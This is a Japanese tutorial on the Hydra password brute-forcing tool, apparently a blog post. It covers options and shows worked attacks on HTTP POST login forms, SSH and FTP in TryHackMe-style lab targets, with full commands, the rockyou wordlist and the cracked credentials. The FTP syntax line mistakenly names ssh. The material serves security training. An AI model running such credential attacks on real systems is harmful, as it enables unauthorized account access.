はじめに
必ず許可された環境でのみ実行してください。
Hydraとは?
ブルートフォースでパスワードをクラッキングできるツールです。
Kaliにはデフォルトでインストールされています。
- GitHub
Hydraの使い方
多数のプロトコルに対応しているのが特徴です。
サポートするプロトコル一覧
Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
基本構文
Hydraの基本的な構文を紹介します。
hydra [オプション] [ターゲット] [サービス]
ターゲットの指定に関しては下記のようにすることもできます。
[サービス]://[ターゲット]
例
ssh://192.168.1.100
基本オプション
-
-l
- ログイン用のユーザー名を指定します
-
-L
- ユーザー名のリストファイルを指定します
-
-p
- ログイン用のパスワードを指定します
-
-P
- パスワードのリストファイルを指定します
-
-f
- ログイン/パスワードのペアが見つかったら終了します
-
-t
- 同時に実行するスレッド数を指定
- デフォルトは16です
-
-v
- 詳細な出力を表示
パスワードクラッキング
主要なプロトコルに対する攻撃例を紹介します。
HTTP POST
TryHackMeのHydraルームを利用して、HTTPのPOSTリクエストでログインする場合のパスワードクラッキングを試みます。
構文
構文は下記の通りです。
hydra <username> <wordlist> <target ip> http-post-form "<path>:<login_credentials>:F=<invalid_response>"
オプション
POST送信をする際に必要なオプションを紹介します。
-
http-post-form
- フォームのメソッドがPOSTであると指定します
-
<path>
- ログインフォームのURLを指定します
-
<login_credentials>
- 送信するPOSTボディのパラメータを指定します
- ユーザー名は
^USER^
と指定します - パスワードは
^PASS^
と指定します
-
<invalid_response>
- ログインが失敗したレスポンスの一部を指定します
-
F=
なしで指定することもできます
実行
ログインフォームがあります。
テストリクエストを送信し、攻撃に必要なパラメータを取得します。
前提として、ユーザー名がmolly
だと判明しています。
bodyのパラメータと認証に失敗した場合のメッセージを取得できました。
得られた情報を使用して攻撃を実行します。
$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.78.255 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect" -V
パスワードを特定できました。
[80][http-post-form] host: 10.10.78.255 login: molly password: sunshine
SSH
SSHに対するパスワードクラックを試みます。
構文
構文は下記の通りです。
hydra -l <username> -P <full path to pass> <target ip> ssh
実行
前提としてユーザー名はmolly
であると判明しています。
攻撃を実行します。
$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.78.255 ssh -t 4
パスワードを特定できました。
[22][ssh] host: 10.10.78.255 login: molly password: butterfly
FTP
FTPのパスワードクラッキングを試みます。
構文
hydra -l <username> -P <full path to pass> <target ip> ssh
実行
前提としてユーザー名はftp-user
であると判明しています。
攻撃を実行します。
$ hydra -l ftp-user -P /usr/share/wordlists/rockyou.txt 192.168.178.16 ftp -t 30
パスワードを特定できました。
[21][ftp] host: 192.168.178.16 login: ftp-user password: Password
おすすめの教材
TryHackMeの「hydra」ルームが無料で出来るのでお勧めです。
参考サイト